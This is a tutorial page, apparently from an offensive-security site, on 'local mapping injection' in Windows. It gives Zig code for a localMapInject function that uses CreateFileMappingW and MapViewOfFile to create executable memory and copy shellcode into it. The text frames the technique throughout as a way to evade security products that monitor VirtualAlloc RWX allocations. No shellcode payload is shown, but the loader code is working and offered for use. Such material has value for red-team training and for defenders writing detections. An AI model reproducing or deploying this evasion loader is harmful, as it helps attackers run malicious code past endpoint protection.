Skip to content

Local Mapping Injection

TL;DR

See the code example

Local mapping injection is a technique that utilizes Windows file mapping APIs to create executable memory regions without directly calling VirtualAlloc with PAGE_EXECUTE_READWRITE permissions. This approach leverages mapped memory to execute shellcode within the current process, making it less suspicious to some security solutions.

Why Mapping Injection

Traditional shellcode execution often relies on VirtualAlloc with RWX permissions, which is a common indicator monitored by security solutions. Mapping injection offers several advantages:

  • Use non-private memory: Memory allocated through file mapping is classified as mapped memory rather than private memory
  • Evasion potential: Some security tools may not monitor file mapping operations as closely as direct memory allocation
  • Legitimate API usage: File mapping APIs are commonly used by legitimate applications for memory management

Mapped Memory

In Windows, memory can be categorized into different types:

  • Private memory: Memory allocated directly by the process (e.g., via VirtualAlloc)
  • Mapped memory: Memory that is associated with a file or file mapping object

When using file mapping, the memory is classified as mapped memory, which can help bypass certain security mechanisms that specifically monitor private memory allocations with executable permissions.

Local Mapping Injection

Local mapping injection works by:

  1. Creating a file mapping object with CreateFileMapping
  2. Mapping a view of the file into memory with MapViewOfFile
  3. Writing shellcode to the mapped memory region
  4. Executing the shellcode directly in the current process

This technique is particularly useful for:

  • Executing shellcode in the current process
  • Avoiding direct VirtualAlloc calls with executable permissions
  • Creating memory regions that appear more legitimate to security solutions

Needed Windows API

CreateFileMapping

extern "kernel32" fn CreateFileMappingW(
    hFile: HANDLE,
    lpFileMappingAttributes: ?*windows.SECURITY_ATTRIBUTES,
    flProtect: DWORD,
    dwMaximumSizeHigh: DWORD,
    dwMaximumSizeLow: DWORD,
    lpName: ?[*:0]const u16,
) callconv(WINAPI) ?HANDLE;

Creates a file mapping object for a specified file. When hFile is set to INVALID_HANDLE_VALUE, it creates a file mapping object backed by the system paging file.

Parameters:

  • hFile: Handle to the file (use INVALID_HANDLE_VALUE for paging file)
  • lpFileMappingAttributes: Security attributes (can be null)
  • flProtect: Memory protection (e.g., PAGE_EXECUTE_READWRITE)
  • dwMaximumSizeHigh: High-order DWORD of maximum size
  • dwMaximumSizeLow: Low-order DWORD of maximum size
  • lpName: Name of the file mapping object (can be null)

MapViewOfFile

extern "kernel32" fn MapViewOfFile(
    hFileMappingObject: HANDLE,
    dwDesiredAccess: DWORD,
    dwFileOffsetHigh: DWORD,
    dwFileOffsetLow: DWORD,
    dwNumberOfBytesToMap: SIZE_T,
) callconv(WINAPI) ?PVOID;

Maps a view of a file mapping into the address space of the calling process.

Parameters:

  • hFileMappingObject: Handle to the file mapping object
  • dwDesiredAccess: Access permissions (e.g., FILE_MAP_WRITE | FILE_MAP_EXECUTE)
  • dwFileOffsetHigh: High-order DWORD of file offset
  • dwFileOffsetLow: Low-order DWORD of file offset
  • dwNumberOfBytesToMap: Number of bytes to map

localMapInject Function

The core function that performs the local mapping injection:

fn localMapInject(pPayload: []const u8, ppAddress: *?PVOID) bool {
    var bState: bool = true;
    var hFile: ?HANDLE = null;
    var pMapAddress: ?PVOID = null;

    // Create a file mapping handle with RWX memory permissions
    hFile = CreateFileMappingW(
        INVALID_HANDLE_VALUE,
        null,
        PAGE_EXECUTE_READWRITE,
        0,
        @intCast(pPayload.len),
        null,
    );

    if (hFile == null) {
        print("[!] CreateFileMapping Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
        bState = false;
        ppAddress.* = null;
        return bState;
    }

    // Map the view of the payload to memory
    pMapAddress = MapViewOfFile(
        hFile.?,
        FILE_MAP_WRITE | FILE_MAP_EXECUTE,
        0,
        0,
        pPayload.len,
    );

    if (pMapAddress == null) {
        print("[!] MapViewOfFile Failed With Error : {}\n", .{windows.kernel32.GetLastError()});
        bState = false;
        ppAddress.* = null;
        if (hFile) |handle| _ = CloseHandle(handle);
        return bState;
    }

    print("[i] pMapAddress : 0x{X}\n", .{@intFromPtr(pMapAddress.?)});

    // Copy payload to mapped memory
    const dest = @as([*]u8, @ptrCast(pMapAddress.?));
    @memcpy(dest[0..pPayload.len], pPayload);

    ppAddress.* = pMapAddress;
    if (hFile) |handle| _ = CloseHandle(handle);
    return bState;
}

Process Flow:

  1. Create file mapping: Uses CreateFileMappingW with INVALID_HANDLE_VALUE to create a mapping backed by the paging file
  2. Map view: Uses MapViewOfFile to map the file into the process address space with write and execute permissions
  3. Copy payload: Copies the shellcode into the mapped memory region
  4. Return address: Returns the base address of the mapped memory for execution

UnmapViewOfFile

extern "kernel32" fn UnmapViewOfFile(lpBaseAddress: PVOID) callconv(WINAPI) BOOL;

While not used in this specific example, UnmapViewOfFile is important for cleanup operations. It unmaps a mapped view of a file from the calling process's address space.

Usage:

// Clean up the mapped memory
if (pMapAddress) |addr| {
    _ = UnmapViewOfFile(addr);
}

Key Advantages

  1. Evasion: Uses legitimate file mapping APIs instead of direct memory allocation
  2. Memory classification: Creates mapped memory rather than private memory
  3. Flexibility: Can be extended for more complex scenarios like remote process injection
  4. Legitimate appearance: File mapping is commonly used by legitimate applications

Limitations

  1. Local execution only: This implementation only works within the current process
  2. Still detectable: Advanced security solutions may still detect the technique
  3. Memory permissions: Still requires executable memory permissions, which can be monitored

This technique demonstrates how alternative Windows APIs can be used to achieve similar results to traditional methods while potentially evading some security controls.